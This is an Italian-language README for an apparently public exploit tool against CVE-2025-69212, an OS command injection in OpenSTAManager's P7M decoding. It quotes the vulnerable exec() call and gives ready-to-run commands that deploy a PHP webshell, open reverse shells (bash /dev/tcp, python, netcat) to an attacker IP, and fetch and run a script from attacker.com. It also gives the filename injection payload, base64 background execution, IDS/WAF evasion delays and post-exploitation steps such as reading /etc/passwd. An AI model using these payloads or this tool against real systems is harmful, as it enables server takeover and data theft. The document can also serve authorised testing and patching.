
OpenSTAManager v2.9.8 e versioni precedenti contengono una vulnerabilità critica di OS Command Injection nella funzione di decodifica dei file P7M (XML firmato).
OpenSTAManager <= 2.9.8 — Iniezione di Comandi OS nell'Elaborazione di File P7M
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-69212 |
| Gravità | CRITICA (CVSS 4.0: 9.4) |
| CWE | CWE-78: Iniezione di Comandi OS |
| Versioni Affette | OpenSTAManager <= 2.9.8 |
| Funzione Vulnerabile | XML::decodeP7M() in src/Util/XML.php |
| Vettore d'Attacco | Nome file malevolo in archivio ZIP caricato |
| Autenticazione | Richiesta (qualsiasi utente con accesso all'importazione delle fatture) |
| Impatto | Esecuzione completa di codice remoto come utente del server web |
OpenSTAManager v2.9.8 e versioni precedenti contengono una vulnerabilità critica di Iniezione di Comandi OS nella funzione di decodifica dei file P7M (XML firmato). Il metodo decodeP7M() in src/Util/XML.php passa nomi di file controllati dall'utente direttamente nella funzione exec() di PHP senza sanificazione, consentendo ad attaccanti autenticati di eseguire comandi di sistema arbitrari sul server.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
Il parametro $file — che origina da nomi di file all'interno di archivi ZIP caricati — è racchiuso tra virgolette ma mai sanificato con escapeshellarg(). Un attaccante può creare un nome file .p7m che esce dal contesto delle virgolette e inietta comandi shell arbitrari.
plugins/importFE_ZIP/actions.php:126 — Vettore primario durante l'elaborazione di upload ZIP contenenti fatture elettronicheplugins/importFE/src/FatturaElettronica.php:56 — Costruttore che elabora singoli file .p7mgit clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check
# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce
# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target URL base del target
Autenticazione:
-u, --user Nome utente per il login
-p, --password Password per il login
-c, --cookie Valore PHPSESSID esistente
Azioni:
--check Verifica se il target è vulnerabile
--webshell Distribuisce webshell PHP
--rce Shell interattiva tramite webshell
--reverse-shell Reverse shell (LHOST LPORT)
--cmd COMMAND Esecuzione cieca di comandi
Opzioni Shell:
--shell-dir DIR Directory di scrittura webshell (default: files)
--shell-name NAME Nome file webshell personalizzato
--method METHOD Metodo reverse shell: bash, python, nc, nc-e
Rilevamento Plugin:
--module-id ID ID modulo OpenSTAManager
--plugin-id ID ID plugin importFE_ZIP
Rete:
--proxy URL URL proxy HTTP
-k, --no-ssl-verify Disabilita verifica SSL
--delay SECONDS Ritardo tra le richieste
L'exploit crea un archivio ZIP contenente un singolo file .p7m con un nome file malevolo:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Quando OpenSTAManager elabora questo file, la chiamata exec() risultante diventa:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
La shell interpreta i punti e virgola come separatori di comandi, eseguendo il comando iniettato tra la chiamata openssl terminata e il successivo echo.
Critico: Il metodo
ZipArchive::extractTo()di PHP tratta le barre (/) nei nomi file come separatori di directory secondo la specifica ZIP. Qualsiasi/nel nome file malevolo causerà la suddivisione dell'entry dell'archivio in directory, rompendo il payload dell'exploit.
Tutti i comandi iniettati devono evitare completamente /. Per bypassare completamente questa restrizione e impedire che exec() di PHP si blocchi (cosa che può occupare i worker del server e causare timeout), l'exploit ora avvolge automaticamente i payload in Base64 e li esegue in background:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Il metodo bash è ora il predefinito poiché è il metodo più affidabile e nativo sui target Linux.
Caricamento ZIP tramite plugin importFE_ZIP
└── actions.php smista al gestore del plugin
└── ZipArchive::extractTo() estrae i file
└── Itera sui file .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── La shell interpreta i comandi iniettati
1. --check → Conferma RCE tramite file marker
2. --webshell → Scarica shell PHP nella directory files/
3. --rce → Esecuzione interattiva di comandi
4. Enumerazione → id, cat /etc/passwd, ifconfig
5. Pivot → Reverse shell verso l'attaccante, post-sfruttamento
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima dei test. L'autore non si assume alcuna responsabilità per un uso improprio.
| Funzionalità | Descrizione |
|---|
--check | Verifica se il target è vulnerabile (crea e controlla un file marker) |
--webshell | Distribuisce una webshell PHP tramite iniezione di comandi OS |
--rce | Esecuzione interattiva di comandi tramite webshell distribuita |
--reverse-shell | Attiva una reverse shell (metodi python, nc, nc-e) |
--cmd | Esecuzione cieca di comandi (fire-and-forget) |
--shell-dir | Directory personalizzata per la scrittura della webshell |
--method | Selezione del metodo di reverse shell |
--proxy | Supporto proxy HTTP (Burp Suite) |
--delay | Limitazione delle richieste per elusione IDS/WAF |
| Rilevamento automatico | Scoperta automatica degli ID del modulo/plugin importFE_ZIP |
| Metodo | Payload | Richiede |
|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat con supporto -e |